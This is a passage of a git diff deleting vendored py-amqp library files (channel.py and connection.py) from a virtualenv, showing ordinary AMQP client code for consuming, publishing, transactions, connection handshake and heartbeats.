as defined by available resources. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to consume from. If - the queue name is null, refers to the current queue - for the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - consumer_tag: shortstr - - Specifies the identifier for the consumer. The - consumer tag is local to a connection, so two clients - can use the same consumer tags. If this field is empty - the server will generate a unique tag. - - RULE: - - The tag MUST NOT refer to an existing consumer. If - the client attempts to create two consumers with - the same non-empty tag the server MUST raise a - connection exception with reply code 530 (not - allowed). - - no_local: boolean - - do not deliver own messages - - If the no-local field is set the server will not send - messages to the client that published them. - - no_ack: boolean - - no acknowledgment needed - - If this field is set the server does not expect - acknowledgments for messages. That is, when a message - is delivered to the client the server automatically and - silently acknowledges it on behalf of the client. This - functionality increases performance but at the cost of - reliability. Messages can get lost if a client dies - before it can deliver them to the application. - - exclusive: boolean - - request exclusive access - - Request exclusive consumer access, meaning only this - consumer can access the queue. - - RULE: - - If the server cannot grant exclusive access to the - queue when asked, - because there are other - consumers active - it MUST raise a channel - exception with return code 403 (access refused). - - nowait: boolean - - do not send a reply method - - If set, the server will not respond to the method. The - client should not wait for a reply method. If the - server could not complete the method it will raise a - channel or connection exception. - - callback: Python callable - - function/method called with each delivered message - - For each message delivered by the broker, the - callable will be called with a Message object - as the single argument. If no callable is specified, - messages are quietly discarded, no_ack should probably - be set to True in that case. - """ - p = self.send_method( - spec.Basic.Consume, argsig, - ( - 0, queue, consumer_tag, no_local, no_ack, exclusive, - nowait, arguments - ), - wait=None if nowait else spec.Basic.ConsumeOk, - returns_tuple=True - ) - - if not nowait: - # send_method() returns (consumer_tag,) tuple. - # consumer_tag is returned by broker using following rules: - # * consumer_tag is not specified by client, random one - # is generated by Broker - # * consumer_tag is provided by client, the same one - # is returned by broker - consumer_tag = p[0] - elif nowait and not consumer_tag: - raise ValueError( - 'Consumer tag must be specified when nowait is True' - ) - - self.callbacks[consumer_tag] = callback - - if on_cancel: - self.cancel_callbacks[consumer_tag] = on_cancel - if no_ack: - self.no_ack_consumers.add(consumer_tag) - - if not nowait: - return consumer_tag - else: - return p - - def _on_basic_deliver(self, consumer_tag, delivery_tag, redelivered, - exchange, routing_key, msg): - msg.channel = self - msg.delivery_info = { - 'consumer_tag': consumer_tag, - 'delivery_tag': delivery_tag, - 'redelivered': redelivered, - 'exchange': exchange, - 'routing_key': routing_key, - } - - try: - fun = self.callbacks[consumer_tag] - except KeyError: - AMQP_LOGGER.warning( - REJECTED_MESSAGE_WITHOUT_CALLBACK, - delivery_tag, consumer_tag, exchange, routing_key, - ) - self.basic_reject(delivery_tag, requeue=True) - else: - fun(msg) - - def basic_get(self, queue='', no_ack=False, argsig='Bsb'): - """Direct access to a queue. - - This method provides a direct access to the messages in a - queue using a synchronous dialogue that is designed for - specific types of application where synchronous functionality - is more important than performance. - - PARAMETERS: - queue: shortstr - - Specifies the name of the queue to consume from. If - the queue name is null, refers to the current queue - for the channel, which is the last declared queue. - - RULE: - - If the client did not previously declare a queue, - and the queue name in this method is empty, the - server MUST raise a connection exception with - reply code 530 (not allowed). - - no_ack: boolean - - no acknowledgment needed - - If this field is set the server does not expect - acknowledgments for messages. That is, when a message - is delivered to the client the server automatically and - silently acknowledges it on behalf of the client. This - functionality increases performance but at the cost of - reliability. Messages can get lost if a client dies - before it can deliver them to the application. - - Non-blocking, returns a amqp.basic_message.Message object, - or None if queue is empty. - """ - ret = self.send_method( - spec.Basic.Get, argsig, (0, queue, no_ack), - wait=[spec.Basic.GetOk, spec.Basic.GetEmpty], returns_tuple=True, - ) - if not ret or len(ret) < 2: - return self._on_get_empty(*ret) - return self._on_get_ok(*ret) - - def _on_get_empty(self, cluster_id=None): - pass - - def _on_get_ok(self, delivery_tag, redelivered, exchange, routing_key, - message_count, msg): - msg.channel = self - msg.delivery_info = { - 'delivery_tag': delivery_tag, - 'redelivered': redelivered, - 'exchange': exchange, - 'routing_key': routing_key, - 'message_count': message_count - } - return msg - - def _basic_publish(self, msg, exchange='', routing_key='', - mandatory=False, immediate=False, timeout=None, - confirm_timeout=None, - argsig='Bssbb'): - """Publish a message. - - This method publishes a message to a specific exchange. The - message will be routed to queues as defined by the exchange - configuration and distributed to any active consumers when the - transaction, if any, is committed. - - When channel is in confirm mode (when Connection parameter - confirm_publish is set to True), each message is confirmed. - When broker rejects published message (e.g. due internal broker - constrains), MessageNacked exception is raised and - set confirm_timeout to wait maximum confirm_timeout second - for message to confirm. - - PARAMETERS: - exchange: shortstr - - Specifies the name of the exchange to publish to. The - exchange name can be empty, meaning the default - exchange. If the exchange name is specified, and that - exchange does not exist, the server will raise a - channel exception. - - RULE: - - The server MUST accept a blank exchange name to - mean the default exchange. - - RULE: - - The exchange MAY refuse basic content in which - case it MUST raise a channel exception with reply - code 540 (not implemented). - - routing_key: shortstr - - Message routing key - - Specifies the routing key for the message. The - routing key is used for routing messages depending on - the exchange configuration. - - mandatory: boolean - - indicate mandatory routing - - This flag tells the server how to react if the message - cannot be routed to a queue. If this flag is True, the - server will return an unroutable message with a Return - method. If this flag is False, the server silently - drops the message. - - RULE: - - The server SHOULD implement the mandatory flag. - - immediate: boolean - - request immediate delivery - - This flag tells the server how to react if the message - cannot be routed to a queue consumer immediately. If - this flag is set, the server will return an - undeliverable message with a Return method. If this - flag is zero, the server will queue the message, but - with no guarantee that it will ever be consumed. - - RULE: - - The server SHOULD implement the immediate flag. - - timeout: short - - timeout for publish - - Set timeout to wait maximum timeout second - for message to publish. - - confirm_timeout: short - - confirm_timeout for publish in confirm mode - - When the channel is in confirm mode set - confirm_timeout to wait maximum confirm_timeout - second for message to confirm. - - """ - if not self.connection: - raise RecoverableConnectionError( - 'basic_publish: connection closed') - - capabilities = self.connection. \ - client_properties.get('capabilities', {}) - if capabilities.get('connection.blocked', False): - try: - # Check if an event was sent, such as the out of memory message - self.connection.drain_events(timeout=0) - except socket.timeout: - pass - - try: - with self.connection.transport.having_timeout(timeout): - return self.send_method( - spec.Basic.Publish, argsig, - (0, exchange, routing_key, mandatory, immediate), msg - ) - except socket.timeout: - raise RecoverableChannelError('basic_publish: timed out') - - basic_publish = _basic_publish - - def basic_publish_confirm(self, *args, **kwargs): - confirm_timeout = kwargs.pop('confirm_timeout', None) - - def confirm_handler(method, *args): - # When RMQ nacks message we are raising MessageNacked exception - if method == spec.Basic.Nack: - raise MessageNacked() - - if not self._confirm_selected: - self._confirm_selected = True - self.confirm_select() - ret = self._basic_publish(*args, **kwargs) - # Waiting for confirmation of message. - timeout = confirm_timeout or kwargs.get('timeout', None) - self.wait([spec.Basic.Ack, spec.Basic.Nack], - callback=confirm_handler, - timeout=timeout) - return ret - - def basic_qos(self, prefetch_size, prefetch_count, a_global, - argsig='lBb'): - """Specify quality of service. - - This method requests a specific quality of service. The QoS - can be specified for the current channel or for all channels - on the connection. The particular properties and semantics of - a qos method always depend on the content class semantics. - Though the qos method could in principle apply to both peers, - it is currently meaningful only for the server. - - PARAMETERS: - prefetch_size: long - - prefetch window in octets - - The client can request that messages be sent in - advance so that when the client finishes processing a - message, the following message is already held - locally, rather than needing to be sent down the - channel. Prefetching gives a performance improvement. - This field specifies the prefetch window size in - octets. The server will send a message in advance if - it is equal to or smaller in size than the available - prefetch size (and also falls into other prefetch - limits). May be set to zero, meaning "no specific - limit", although other prefetch limits may still - apply. The prefetch-size is ignored if the no-ack - option is set. - - RULE: - - The server MUST ignore this setting when the - client is not processing any messages - i.e. the - prefetch size does not limit the transfer of - single messages to a client, only the sending in - advance of more messages while the client still - has one or more unacknowledged messages. - - prefetch_count: short - - prefetch window in messages - - Specifies a prefetch window in terms of whole - messages. This field may be used in combination with - the prefetch-size field; a message will only be sent - in advance if both prefetch windows (and those at the - channel and connection level) allow it. The prefetch- - count is ignored if the no-ack option is set. - - RULE: - - The server MAY send less data in advance than - allowed by the client's specified prefetch windows - but it MUST NOT send more. - - a_global: boolean - - Defines a scope of QoS. Semantics of this parameter differs - between AMQP 0-9-1 standard and RabbitMQ broker: - - MEANING IN AMQP 0-9-1: - False: shared across all consumers on the channel - True: shared across all consumers on the connection - MEANING IN RABBITMQ: - False: applied separately to each new consumer - on the channel - True: shared across all consumers on the channel - """ - return self.send_method( - spec.Basic.Qos, argsig, (prefetch_size, prefetch_count, a_global), - wait=spec.Basic.QosOk, - ) - - def basic_recover(self, requeue=False): - """Redeliver unacknowledged messages. - - This method asks the broker to redeliver all unacknowledged - messages on a specified channel. Zero or more messages may be - redelivered. This method is only allowed on non-transacted - channels. - - RULE: - - The server MUST set the redelivered flag on all messages - that are resent. - - RULE: - - The server MUST raise a channel exception if this is - called on a transacted channel. - - PARAMETERS: - requeue: boolean - - requeue the message - - If this field is False, the message will be redelivered - to the original recipient. If this field is True, the - server will attempt to requeue the message, - potentially then delivering it to an alternative - subscriber. - """ - return self.send_method(spec.Basic.Recover, 'b', (requeue,)) - - def basic_recover_async(self, requeue=False): - return self.send_method(spec.Basic.RecoverAsync, 'b', (requeue,)) - - def basic_reject(self, delivery_tag, requeue, argsig='Lb'): - """Reject an incoming message. - - This method allows a client to reject a message. It can be - used to interrupt and cancel large incoming messages, or - return untreatable messages to their original queue. - - RULE: - - The server SHOULD be capable of accepting and process the - Reject method while sending message content with a Deliver - or Get-Ok method. I.e. the server should read and process - incoming methods while sending output frames. To cancel a - partially-send content, the server sends a content body - frame of size 1 (i.e. with no data except the frame-end - octet). - - RULE: - - The server SHOULD interpret this method as meaning that - the client is unable to process the message at this time. - - RULE: - - A client MUST NOT use this method as a means of selecting - messages to process. A rejected message MAY be discarded - or dead-lettered, not necessarily passed to another - client. - - PARAMETERS: - delivery_tag: longlong - - server-assigned delivery tag - - The server-assigned and channel-specific delivery tag - - RULE: - - The delivery tag is valid only within the channel - from which the message was received. I.e. a client - MUST NOT receive a message on one channel and then - acknowledge it on another. - - RULE: - - The server MUST NOT use a zero value for delivery - tags. Zero is reserved for client use, meaning "all - messages so far received". - - requeue: boolean - - requeue the message - - If this field is False, the message will be discarded. - If this field is True, the server will attempt to - requeue the message. - - RULE: - - The server MUST NOT deliver the message to the - same client within the context of the current - channel. The recommended strategy is to attempt - to deliver the message to an alternative consumer, - and if that is not possible, to move the message - to a dead-letter queue. The server MAY use more - sophisticated tracking to hold the message on the - queue and redeliver it to the same client at a - later stage. - """ - return self.send_method( - spec.Basic.Reject, argsig, (delivery_tag, requeue), - ) - - def _on_basic_return(self, reply_code, reply_text, - exchange, routing_key, message): - """Return a failed message. - - This method returns an undeliverable message that was - published with the "immediate" flag set, or an unroutable - message published with the "mandatory" flag set. The reply - code and text provide information about the reason that the - message was undeliverable. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - exchange: shortstr - - Specifies the name of the exchange that the message - was originally published to. - - routing_key: shortstr - - Message routing key - - Specifies the routing key name specified when the - message was published. - """ - exc = error_for_code( - reply_code, reply_text, spec.Basic.Return, ChannelError, - ) - handlers = self.events.get('basic_return') - if not handlers: - raise exc - for callback in handlers: - callback(exc, exchange, routing_key, message) - - ############# - # - # Tx - # - # - # work with standard transactions - # - # Standard transactions provide so-called "1.5 phase commit". We - # can ensure that work is never lost, but there is a chance of - # confirmations being lost, so that messages may be resent. - # Applications that use standard transactions must be able to - # detect and ignore duplicate messages. - # - # GRAMMAR:: - # - # tx = C:SELECT S:SELECT-OK - # / C:COMMIT S:COMMIT-OK - # / C:ROLLBACK S:ROLLBACK-OK - # - # RULE: - # - # An client using standard transactions SHOULD be able to - # track all messages received within a reasonable period, and - # thus detect and reject duplicates of the same message. It - # SHOULD NOT pass these to the application layer. - # - # - - def tx_commit(self): - """Commit the current transaction. - - This method commits all messages published and acknowledged in - the current transaction. A new transaction starts immediately - after a commit. - """ - return self.send_method(spec.Tx.Commit, wait=spec.Tx.CommitOk) - - def tx_rollback(self): - """Abandon the current transaction. - - This method abandons all messages published and acknowledged - in the current transaction. A new transaction starts - immediately after a rollback. - """ - return self.send_method(spec.Tx.Rollback, wait=spec.Tx.RollbackOk) - - def tx_select(self): - """Select standard transaction mode. - - This method sets the channel to use standard transactions. - The client must use this method at least once on a channel - before using the Commit or Rollback methods. - """ - return self.send_method(spec.Tx.Select, wait=spec.Tx.SelectOk) - - def confirm_select(self, nowait=False): - """Enable publisher confirms for this channel. - - Note: This is an RabbitMQ extension. - - Can now be used if the channel is in transactional mode. - - :param nowait: - If set, the server will not respond to the method. - The client should not wait for a reply method. If the - server could not complete the method it will raise a channel - or connection exception. - """ - return self.send_method( - spec.Confirm.Select, 'b', (nowait,), - wait=None if nowait else spec.Confirm.SelectOk, - ) - - def _on_basic_ack(self, delivery_tag, multiple): - for callback in self.events['basic_ack']: - callback(delivery_tag, multiple) - - def _on_basic_nack(self, delivery_tag, multiple): - for callback in self.events['basic_nack']: - callback(delivery_tag, multiple) diff --git a/venv/Lib/site-packages/amqp/connection.py b/venv/Lib/site-packages/amqp/connection.py deleted file mode 100644 index 07a817d6ed624ce36c089491711deb57430eb326..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/amqp/connection.py +++ /dev/null @@ -1,784 +0,0 @@ -"""AMQP Connections.""" -# Copyright (C) 2007-2008 Barry Pederson - -import logging -import socket -import uuid -import warnings -from array import array -from time import monotonic - -from vine import ensure_promise - -from . import __version__, sasl, spec -from .abstract_channel import AbstractChannel -from .channel import Channel -from .exceptions import (AMQPDeprecationWarning, ChannelError, ConnectionError, - ConnectionForced, MessageNacked, RecoverableChannelError, - RecoverableConnectionError, ResourceError, - error_for_code) -from .method_framing import frame_handler, frame_writer -from .transport import Transport - -try: - from ssl import SSLError -except ImportError: # pragma: no cover - class SSLError(Exception): # noqa - pass - -W_FORCE_CONNECT = """\ -The .{attr} attribute on the connection was accessed before -the connection was established. This is supported for now, but will -be deprecated in amqp 2.2.0. - -Since amqp 2.0 you have to explicitly call Connection.connect() -before using the connection. -""" - -START_DEBUG_FMT = """ -Start from server, version: %d.%d, properties: %s, mechanisms: %s, locales: %s -""".strip() - -__all__ = ('Connection',) - -AMQP_LOGGER = logging.getLogger('amqp') -AMQP_HEARTBEAT_LOGGER = logging.getLogger( - 'amqp.connection.Connection.heartbeat_tick' -) - -#: Default map for :attr:`Connection.library_properties` -LIBRARY_PROPERTIES = { - 'product': 'py-amqp', - 'product_version': __version__, -} - -#: Default map for :attr:`Connection.negotiate_capabilities` -NEGOTIATE_CAPABILITIES = { - 'consumer_cancel_notify': True, - 'connection.blocked': True, - 'authentication_failure_close': True, -} - - -class Connection(AbstractChannel): - """AMQP Connection. - - The connection class provides methods for a client to establish a - network connection to a server, and for both peers to operate the - connection thereafter. - - GRAMMAR:: - - connection = open-connection *use-connection close-connection - open-connection = C:protocol-header - S:START C:START-OK - *challenge - S:TUNE C:TUNE-OK - C:OPEN S:OPEN-OK - challenge = S:SECURE C:SECURE-OK - use-connection = *channel - close-connection = C:CLOSE S:CLOSE-OK - / S:CLOSE C:CLOSE-OK - Create a connection to the specified host, which should be - a 'host[:port]', such as 'localhost', or '1.2.3.4:5672' - (defaults to 'localhost', if a port is not specified then - 5672 is used) - - Authentication can be controlled by passing one or more - `amqp.sasl.SASL` instances as the `authentication` parameter, or - setting the `login_method` string to one of the supported methods: - 'GSSAPI', 'EXTERNAL', 'AMQPLAIN', or 'PLAIN'. - Otherwise authentication will be performed using any supported method - preferred by the server. Userid and passwords apply to AMQPLAIN and - PLAIN authentication, whereas on GSSAPI only userid will be used as the - client name. For EXTERNAL authentication both userid and password are - ignored. - - The 'ssl' parameter may be simply True/False, or - a dictionary of options to pass to :class:`ssl.SSLContext` such as - requiring certain certificates. For details, refer ``ssl`` parameter of - :class:`~amqp.transport.SSLTransport`. - - The "socket_settings" parameter is a dictionary defining tcp - settings which will be applied as socket options. - - When "confirm_publish" is set to True, the channel is put to - confirm mode. In this mode, each published message is - confirmed using Publisher confirms RabbitMQ extension. - """ - - Channel = Channel - - #: Mapping of protocol extensions to enable. - #: The server will report these in server_properties[capabilities], - #: and if a key in this map is present the client will tell the - #: server to either enable or disable the capability depending - #: on the value set in this map. - #: For example with: - #: negotiate_capabilities = { - #: 'consumer_cancel_notify': True, - #: } - #: The client will enable this capability if the server reports - #: support for it, but if the value is False the client will - #: disable the capability. - negotiate_capabilities = NEGOTIATE_CAPABILITIES - - #: These are sent to the server to announce what features - #: we support, type of client etc. - library_properties = LIBRARY_PROPERTIES - - #: Final heartbeat interval value (in float seconds) after negotiation - heartbeat = None - - #: Original heartbeat interval value proposed by client. - client_heartbeat = None - - #: Original heartbeat interval proposed by server. - server_heartbeat = None - - #: Time of last heartbeat sent (in monotonic time, if available). - last_heartbeat_sent = 0 - - #: Time of last heartbeat received (in monotonic time, if available). - last_heartbeat_received = 0 - - #: Number of successful writes to socket. - bytes_sent = 0 - - #: Number of successful reads from socket. - bytes_recv = 0 - - #: Number of bytes sent to socket at the last heartbeat check. - prev_sent = None - - #: Number of bytes received from socket at the last heartbeat check. - prev_recv = None - - _METHODS = { - spec.method(spec.Connection.Start, 'ooFSS'), - spec.method(spec.Connection.OpenOk), - spec.method(spec.Connection.Secure, 's'), - spec.method(spec.Connection.Tune, 'BlB'), - spec.method(spec.Connection.Close, 'BsBB'), - spec.method(spec.Connection.Blocked), - spec.method(spec.Connection.Unblocked), - spec.method(spec.Connection.CloseOk), - } - _METHODS = {m.method_sig: m for m in _METHODS} - - _ALLOWED_METHODS_WHEN_CLOSING = ( - spec.Connection.Close, spec.Connection.CloseOk - ) - - connection_errors = ( - ConnectionError, - socket.error, - IOError, - OSError, - ) - channel_errors = (ChannelError,) - recoverable_connection_errors = ( - RecoverableConnectionError, - MessageNacked, - socket.error, - IOError, - OSError, - ) - recoverable_channel_errors = ( - RecoverableChannelError, - ) - - def __init__(self, host='localhost:5672', userid='guest', password='guest', - login_method=None, login_response=None, - authentication=(), - virtual_host='/', locale='en_US', client_properties=None, - ssl=False, connect_timeout=None, channel_max=None, - frame_max=None, heartbeat=0, on_open=None, on_blocked=None, - on_unblocked=None, confirm_publish=False, - on_tune_ok=None, read_timeout=None, write_timeout=None, - socket_settings=None, frame_handler=frame_handler, - frame_writer=frame_writer, **kwargs): - self._connection_id = uuid.uuid4().hex - channel_max = channel_max or 65535 - frame_max = frame_max or 131072 - if authentication: - if isinstance(authentication, sasl.SASL): - authentication = (authentication,) - self.authentication = authentication - elif login_method is not None: - if login_method == 'GSSAPI': - auth = sasl.GSSAPI(userid) - elif login_method == 'EXTERNAL': - auth = sasl.EXTERNAL() - elif login_method == 'AMQPLAIN': - if userid is None or password is None: - raise ValueError( - "Must supply authentication or userid/password") - auth = sasl.AMQPLAIN(userid, password) - elif login_method == 'PLAIN': - if userid is None or password is None: - raise ValueError( - "Must supply authentication or userid/password") - auth = sasl.PLAIN(userid, password) - elif login_response is not None: - auth = sasl.RAW(login_method, login_response) - else: - raise ValueError("Invalid login method", login_method) - self.authentication = (auth,) - else: - self.authentication = (sasl.GSSAPI(userid, fail_soft=True), - sasl.EXTERNAL(), - sasl.AMQPLAIN(userid, password), - sasl.PLAIN(userid, password)) - - self.client_properties = dict( - self.library_properties, **client_properties or {} - ) - self.locale = locale - self.host = host - self.virtual_host = virtual_host - self.on_tune_ok = ensure_promise(on_tune_ok) - - self.frame_handler_cls = frame_handler - self.frame_writer_cls = frame_writer - - self._handshake_complete = False - - self.channels = {} - # The connection object itself is treated as channel 0 - super().__init__(self, 0) - - self._frame_writer = None - self._on_inbound_frame = None - self._transport = None - - # Properties set in the Tune method - self.channel_max = channel_max - self.frame_max = frame_max - self.client_heartbeat = heartbeat - - self.confirm_publish = confirm_publish - self.ssl = ssl - self.read_timeout = read_timeout - self.write_timeout = write_timeout - self.socket_settings = socket_settings - - # Callbacks - self.on_blocked = on_blocked - self.on_unblocked = on_unblocked - self.on_open = ensure_promise(on_open) - - self._used_channel_ids = array('H') - - # Properties set in the Start method - self.version_major = 0 - self.version_minor = 0 - self.server_properties = {} - self.mechanisms = [] - self.locales = [] - - self.connect_timeout = connect_timeout - - def __repr__(self): - if self._transport: - return f'' - else: - return f'' - - def __enter__(self): - self.connect() - return self - - def __exit__(self, *eargs): - self.close() - - def then(self, on_success, on_error=None): - return self.on_open.then(on_success, on_error) - - def _setup_listeners(self): - self._callbacks.update({ - spec.Connection.Start: self._on_start, - spec.Connection.OpenOk: self._on_open_ok, - spec.Connection.Secure: self._on_secure, - spec.Connection.Tune: self._on_tune, - spec.Connection.Close: self._on_close, - spec.Connection.Blocked: self._on_blocked, - spec.Connection.Unblocked: self._on_unblocked, - spec.Connection.CloseOk: self._on_close_ok, - }) - - def connect(self, callback=None): - # Let the transport.py module setup the actual - # socket connection to the broker. - # - if self.connected: - return callback() if callback else None - try: - self.transport = self.Transport( - self.host, self.connect_timeout, self.ssl, - self.read_timeout, self.write_timeout, - socket_settings=self.socket_settings, - ) - self.transport.connect() - self.on_inbound_frame = self.frame_handler_cls( - self, self.on_inbound_method) - self.frame_writer = self.frame_writer_cls(self, self.transport) - - while not self._handshake_complete: - self.drain_events(timeout=self.connect_timeout) - - except (OSError, SSLError): - self.collect() - raise - - def _warn_force_connect(self, attr): - warnings.warn(AMQPDeprecationWarning( - W_FORCE_CONNECT.format(attr=attr))) - - @property - def transport(self): - if self._transport is None: - self._warn_force_connect('transport') - self.connect() - return self._transport - - @transport.setter - def transport(self, transport): - self._transport = transport - - @property - def on_inbound_frame(self): - if self._on_inbound_frame is None: - self._warn_force_connect('on_inbound_frame') - self.connect() - return self._on_inbound_frame - - @on_inbound_frame.setter - def on_inbound_frame(self, on_inbound_frame): - self._on_inbound_frame = on_inbound_frame - - @property - def frame_writer(self): - if self._frame_writer is None: - self._warn_force_connect('frame_writer') - self.connect() - return self._frame_writer - - @frame_writer.setter - def frame_writer(self, frame_writer): - self._frame_writer = frame_writer - - def _on_start(self, version_major, version_minor, server_properties, - mechanisms, locales, argsig='FsSs'): - client_properties = self.client_properties - self.version_major = version_major - self.version_minor = version_minor - self.server_properties = server_properties - if isinstance(mechanisms, str): - mechanisms = mechanisms.encode('utf-8') - self.mechanisms = mechanisms.split(b' ') - self.locales = locales.split(' ') - AMQP_LOGGER.debug( - START_DEBUG_FMT, - self.version_major, self.version_minor, - self.server_properties, self.mechanisms, self.locales, - ) - - # Negotiate protocol extensions (capabilities) - scap = server_properties.get('capabilities') or {} - cap = client_properties.setdefault('capabilities', {}) - cap.update({ - wanted_cap: enable_cap - for wanted_cap, enable_cap in self.negotiate_capabilities.items() - if scap.get(wanted_cap) - }) - if not cap: - # no capabilities, server may not react well to having - # this key present in client_properties, so we remove it. - client_properties.pop('capabilities', None) - - for authentication in self.authentication: - if authentication.mechanism in self.mechanisms: - login_response = authentication.start(self) - if login_response is not NotImplemented: - break - else: - raise ConnectionError( - "Couldn't find appropriate auth mechanism " - "(can offer: {}; available: {})".format( - b", ".join(m.mechanism - for m in self.authentication - if m.mechanism).decode(), - b", ".join(self.mechanisms).decode())) - - self.send_method( - spec.Connection.StartOk, argsig, - (client_properties, authentication.mechanism, - login_response, self.locale), - ) - - def _on_secure(self, challenge): - pass - - def _on_tune(self, channel_max, frame_max, server_heartbeat, argsig='BlB'): - client_heartbeat = self.client_heartbeat or 0 - self.channel_max = channel_max or self.channel_max - self.frame_max = frame_max or self.frame_max - self.server_heartbeat = server_heartbeat or 0 - - # negotiate the heartbeat interval to the smaller of the - # specified values - if self.server_heartbeat == 0 or client_heartbeat == 0: - self.heartbeat = max(self.server_heartbeat, client_heartbeat) - else: - self.heartbeat = min(self.server_heartbeat, client_heartbeat) - - # Ignore server heartbeat if client_heartbeat is disabled - if not self.client_heartbeat: - self.heartbeat = 0 - - self.send_method( - spec.Connection.TuneOk, argsig, - (self.channel_max, self.frame_max, self.heartbeat), - callback=self._on_tune_sent, - ) - - def _on_tune_sent(self, argsig='ssb'): - self.send_method( - spec.Connection.Open, argsig, (self.virtual_host, '', False), - ) - - def _on_open_ok(self): - self._handshake_complete = True - self.on_open(self) - - def Transport(self, host, connect_timeout, - ssl=False, read_timeout=None, write_timeout=None, - socket_settings=None, **kwargs): - return Transport( - host, connect_timeout=connect_timeout, ssl=ssl, - read_timeout=read_timeout, write_timeout=write_timeout, - socket_settings=socket_settings, **kwargs) - - @property - def connected(self): - return self._transport and self._transport.connected - - def collect(self): - if self._transport: - self._transport.close() - - if self.channels: - # Copy all the channels except self since the channels - # dictionary changes during the collection process. - channels = [ - ch for ch in self.channels.values() - if ch is not self - ] - - for ch in channels: - ch.collect() - self._transport = self.connection = self.channels = None - - def _get_free_channel_id(self): - # Cast to a set for fast lookups, and keep stored as an array for lower memory usage. - used_channel_ids = set(self._used_channel_ids) - - for channel_id in range(1, self.channel_max + 1): - if channel_id not in used_channel_ids: - self._used_channel_ids.append(channel_id) - return channel_id - - raise ResourceError( - 'No free channel ids, current={}, channel_max={}'.format( - len(self.channels), self.channel_max), spec.Channel.Open) - - def _claim_channel_id(self, channel_id): - if channel_id in self._used_channel_ids: - raise ConnectionError(f'Channel {channel_id!r} already open') - else: - self._used_channel_ids.append(channel_id) - return channel_id - - def channel(self, channel_id=None, callback=None): - """Create new channel. - - Fetch a Channel object identified by the numeric channel_id, or - create that object if it doesn't already exist. - """ - if self.channels is None: - raise RecoverableConnectionError('Connection already closed.') - - try: - return self.channels[channel_id] - except KeyError: - channel = self.Channel(self, channel_id, on_open=callback) - channel.open() - return channel - - def is_alive(self): - raise NotImplementedError('Use AMQP heartbeats') - - def drain_events(self, timeout=None): - # read until message is ready - while not self.blocking_read(timeout): - pass - - def blocking_read(self, timeout=None): - with self.transport.having_timeout(timeout): - frame = self.transport.read_frame() - return self.on_inbound_frame(frame) - - def on_inbound_method(self, channel_id, method_sig, payload, content): - if self.channels is None: - raise RecoverableConnectionError('Connection already closed') - - return self.channels[channel_id].dispatch_method( - method_sig, payload, content, - ) - - def close(self, reply_code=0, reply_text='', method_sig=(0, 0), - argsig='BsBB'): - """Request a connection close. - - This method indicates that the sender wants to close the - connection. This may be due to internal conditions (e.g. a - forced shut-down) or due to an error handling a specific - method, i.e. an exception. When a close is due to an - exception, the sender provides the class and method id of the - method which caused the exception. - - RULE: - - After sending this method any received method except the - Close-OK method MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with the Close-OK method. - - RULE: - - When a server receives the Close method from a client it - MUST delete all server-side resources associated with the - client's context. A client CANNOT reconnect to a context - after sending or receiving a Close method. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - if self._transport is None: - # already closed - return - - try: - self.is_closing = True - return self.send_method( - spec.Connection.Close, argsig, - (reply_code, reply_text, method_sig[0], method_sig[1]), - wait=spec.Connection.CloseOk, - ) - except (OSError, SSLError): - # close connection - self.collect() - raise - finally: - self.is_closing = False - - def _on_close(self, reply_code, reply_text, class_id, method_id): - """Request a connection close. - - This method indicates that the sender wants to close the - connection. This may be due to internal conditions (e.g. a - forced shut-down) or due to an error handling a specific - method, i.e. an exception. When a close is due to an - exception, the sender provides the class and method id of the - method which caused the exception. - - RULE: - - After sending this method any received method except the - Close-OK method MUST be discarded. - - RULE: - - The peer sending this method MAY use a counter or timeout - to detect failure of the other peer to respond correctly - with the Close-OK method. - - RULE: - - When a server receives the Close method from a client it - MUST delete all server-side resources associated with the - client's context. A client CANNOT reconnect to a context - after sending or receiving a Close method. - - PARAMETERS: - reply_code: short - - The reply code. The AMQ reply codes are defined in AMQ - RFC 011. - - reply_text: shortstr - - The localised reply text. This text can be logged as an - aid to resolving issues. - - class_id: short - - failing method class - - When the close is provoked by a method exception, this - is the class of the method. - - method_id: short - - failing method ID - - When the close is provoked by a method exception, this - is the ID of the method. - """ - self._x_close_ok() - raise error_for_code(reply_code, reply_text, - (class_id, method_id), ConnectionError) - - def _x_close_ok(self): - """Confirm a connection close. - - This method confirms a Connection.Close method and tells the - recipient that it is safe to release resources for the - connection and close the socket. - - RULE: - A peer that detects a socket closure without having - received a Close-Ok handshake method SHOULD log the error. - """ - self.send_method(spec.Connection.CloseOk, callback=self._on_close_ok) - - def _on_close_ok(self): - """Confirm a connection close. - - This method confirms a Connection.Close method and tells the - recipient that it is safe to release resources for the - connection and close the socket. - - RULE: - - A peer that detects a socket closure without having - received a Close-Ok handshake method SHOULD log the error. - """ - self.collect() - - def _on_blocked(self): - """Callback called when connection blocked. - - Notes: - This is an RabbitMQ Extension. - """ - reason = 'connection blocked, see broker logs' - if self.on_blocked: - return self.on_blocked(reason) - - def _on_unblocked(self): - if self.on_unblocked: - return self.on_unblocked() - - def send_heartbeat(self): - self.frame_writer(8, 0, None, None, None) - - def heartbeat_tick(self, rate=2): - """Send heartbeat packets if necessary. - - Raises: - ~amqp.exceptions.ConnectionForvced: if none have been - received recently. - - Note: - This should be called frequently, on the order of - once per second. - - Keyword Arguments: - rate (int): Number of heartbeat frames to send during the heartbeat - timeout - """ - AMQP_HEARTBEAT_LOGGER.debug('heartbeat_tick : for connection %s', - self._connection_id) - if not self.heartbeat: - return - - # If rate is wrong, let's use 2 as default - if rate <= 0: - rate = 2 - - # treat actual data exchange in either direction as a heartbeat - sent_now = self.bytes_sent - recv_now = self.bytes_recv - if self.prev_sent is None or self.prev_sent != sent_now: - self.last_heartbeat_sent = monotonic() - if self.prev_recv is None or self.prev_recv != recv_now: - self.last_heartbeat_received = 